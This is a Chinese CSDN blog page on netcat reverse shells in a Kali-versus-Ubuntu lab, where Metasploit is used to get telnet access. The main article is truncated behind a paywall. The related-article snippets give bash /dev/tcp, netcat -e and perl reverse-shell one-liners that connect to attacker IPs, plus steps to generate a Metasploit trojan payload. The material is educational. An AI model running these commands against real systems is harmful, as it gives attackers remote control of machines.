NC反弹Shell

最新推荐文章于 2023-05-17 16:53:40 发布
最新推荐文章于 2023-05-17 16:53:40 发布
阅读量609 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_23066945/article/details/103211291
版权

NC反弹Shell

实验环境

  • Kali
  • Ubuntu（开启telnet）

一、Msf登录设置

1、保证kali使用telnet能够登陆Ubuntu（假设通过爆破，弱口令成功登录telnet）

使用telnet登录模块
在这里插入图片描述
设置目标ip（Ubuntu），用户名，密码（可以指定密码文件）run运行
在这里插入图片描述
可以看到，成功登录telnet，记录会话
在这里插入图片描述
选择第一个会话进行连接
在这里插入图片描述
然后下载事先准备好的文件123.c（kali http服务上）

最低0.47元/天 解锁文章
TUANZI_Dum
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
反弹Shell原理与实现
m0_62451321的博客
11-14 3119
Windows作为攻击者主机，Linux是被入侵主机（目标主机），此时目标主机上只要能正常运行Linux命令便可以实现反弹，利用Linux的Bash命令重定向和Windows上的Netcat应用程序，如果没有，则网络下载netcat应用程序即可。远程桌面，Web服务，SSH，SMB等等，都是正向连接。（3）对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。（1）某客户机中了你的木马，但是它在局域网内，你直接连接不了。
NC反弹shell的几种方法
qq_59350385的博客
05-12 9653
假如ubuntu、CentOS为目标服务器系统 kali为攻击者的系统，ip为：192.168.0.4，开放7777端口且没被占用 最终是将ubuntu、CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1：bash
nc的基本操作和反弹shell
sweetie 的博客
05-09 9136
一、nc简介 nc 在网络工具中有“瑞士军刀”美誉 ，所做的就是在两台电脑之间建立链接，并返回两个数据流。 可运行在TCP或者UDP模式，添加参数 ----u 则调整为UDP，默认为TCP 即可用在windows系统也可在linux系统，也可作用于二者之间，只是对应的命令有些差异。 二、nc常用参数 -l 开启监听 -p 指定一个端口 -v 显示详细输出 -e 指定对应的应用程序 -n nc不要DNS反向查询IP的域名 -z 连接成功后立即关闭连接 三、建立C-S连接 1 环境
【安全知识】——LInux的shell反弹姿势合集（更新中）
Demo不是emo的博客
05-17 6052
当我们拿到一台LINUX主机的权限时，往往都需要反弹到公网的服务器上，一般我们使用bash来反弹的情况居多，但是bash也有失灵的时候。在这种情况下，我们可以尝试使用其他的反弹语句来达到我们的目的。
各种shell反弹方法
weixin_46626737的博客
05-16 2579
s.connect(("攻击ip",port));再在目标机器执行bash -i > &/dev/tcp/攻击ip/端口 0>&1。post方式，ip=？2.使用nc进行反弹shell。6.使用php反弹shell。
生命在于学习——RCE
易水哲的博客
09-03 621
RCE漏洞的学习
详解NC反弹shell的几种方法
01-08
假如ubuntu、CentOS为...正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1：bash反弹 bash -i >& /dev/tcp/ip/port 0>&1 但首先需要在kali上使用
Linux下NC反弹shell命令（推荐）
09-15
本篇文章将详细介绍如何在Linux下使用`nc`进行反弹Shell操作，并提供其他编程语言的反弹Shell命令作为参考。 首先，攻击者需要在自己的机器上启动一个监听服务来接收目标机器的连接。这通常通过以下`nc`命令完成： ...
NC_SHELL反弹提权.rar
05-09
,NC_SHELL反弹提权.
反弹 shell 常见方式详解（非常实用）
10-18
反弹 shell 常见方式详解（非常...[ 隧道技术 ] 反弹shell（一）nc反弹shell [ 隧道技术 ] 反弹shell（二）bash反弹shell [ 隧道技术 ] 反弹shell（三）powercat反弹shell [ 隧道技术 ] 反弹shell（四）python反弹shell
linux反弹shell的原理详解
01-08
完整命令 反弹shell命令： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell： nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a>&b 的意思是 a>b 2>&1 0代表输入 ，0>&1 意思是，将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口，即靶机的shell窗口
NC反弹CMDSHELL提权总结
weixin_34404393的博客
03-15 554
Server-U等都不可以用的情况下.   一般都可思考用此方法不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口…   那么这种方法也失效了…. 1:通过shell将上传NC和CMD传到站点目录下(这里一定上传的注意权限,最好是可读写目录下)web目录都是有写有读的权限,我们直接传NC进去   2:然后本地执行nc -vv -lp 52进行反弹   ...
【安全】反弹Shell的原理及18般利用姿势
qqchaozai的专栏
12-29 2101
前言 shell：一种用来执行操作系统指令的程序 反弹shell (reverse shell)：一种让远程系统执行本地shell的程序。 1 原理 远程系统监听一个TCP/UDP端口，本地系统运行反弹shell，反弹shell会连接该端口，并接收远程系统发送的shell指令，执行之后再将指令的输出流转发给远程系统。 1.1文件描述符 ...
[CTF]-反弹shell[2]
Mr.木Mu
05-27 1585
[二]反弹shell的本质开放端口(腾讯云,宝塔面板)什么是反弹shell反弹shell的本质是什么bash -i/dev/tcp/ip/port实例1：实例2：交互重定向>&、&>常见的反弹shell 的语句怎么理解1234结束极客大挑战where_is_my_FUMO 开放端口(腾讯云,宝塔面板) 测试反弹shell 需要保证端口开放 打开腾讯云 --> 打开安全组 --> 添加规则 添加入站规则 完成之后–> 一键放通 然后进入宝塔面板
python反弹shell_Linux下NC反弹shell命令（推荐）
weixin_32223631的博客
02-20 691
本机开启监听：nc -lvnp 4444nc -vvlp 4444目标机器开启反弹bash版本：bash -i >& /dev/tcp/10.0.0.1/8080 0>&1perl版本：perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))...
反序列化漏洞复现总结
kali_Ma的博客
10-14 6710
前言 最近一直在整理笔记，恰好碰到实习时遇到的Shiro反序列化漏洞，本着温故而知新的思想，就照着前辈们的文章好好研究了下，整理整理笔记并发个文章。 1、Apache Shiro介绍 Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API，开发者可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。 2、Shiro rememberMe反序列化漏洞（Shiro-550） 2.1 受影响版本 Apache
用nc反弹shell真有意思哈哈
热门推荐
公众号shadow sock7
06-17 1万+
先在bee(192.168.170.130)上面bee@bee-box:/tmp$ nc -vlp 4444 -e /bin/bash listening on [any] 4444 ... 192.168.170.1: inverse host lookup failed: Unknown host connect to [192.168.170.130] from (UNKNOWN) [192.
metasploit简单使用-生成木马反弹shell连接
一根火柴博客
01-30 2324
metasploit简单使用 在Kali中运行msfconsole,运行下列命令生成test.exe木马 use evasion/windows/windows_defender_exe set filename test.exe set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.11 set lport 5555 ex...
php命令执行反弹nc,详解NC反弹shell的几种方法
weixin_32187037的博客
04-04 1693
假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统，ip为：192.168.0.4，开放7777端口且没被占用最终是将ubuntu、CentOS的shell反弹到kali上正向反弹shellubuntu或者CentOS上面输入nc -lvp 7777 -e /bin/bashkali上输入nc ip 7777正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹s...
NC 反弹shell
最新发布
08-30
NC反弹shell是一种利用NetCat工具实现的一种技术，用于在目标机器和控制机器之间建立一个反向连接，并获得对目标机器的控制权。在反弹shell中，目标机器先执行NC命令，将shell连接到控制机器上的NC监听端口，从而使控制机器能够控制目标机器。 有几种方法可以实现NC反弹shell。其中一种是使用bash反弹，命令如下： ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 请注意，这种方法需要在控制机器上执行。 另一种方法是使用NC命令进行反向连接，命令如下： ``` nc -e /bin/bash 192.168.0.4 7777 ``` 这种方法适用于在CentOS或Ubuntu上使用。 还有一种方法是使用php反弹shell，需要目标机器安装NC。命令如下： ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 同样，这种方法需要在控制机器上执行。 总而言之，NC反弹shell是一种通过建立反向连接实现对目标机器的控制的技术。可以使用不同的方法来实现反弹shell，如bash反弹和php反弹。这些方法需要根据具体情况和系统进行选择和执行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [详解NC反弹shell的几种方法](https://download.csdn.net/download/weixin_38664159/14048091)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [NC反弹shell的几种方法](https://blog.csdn.net/qq_59350385/article/details/124733038)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值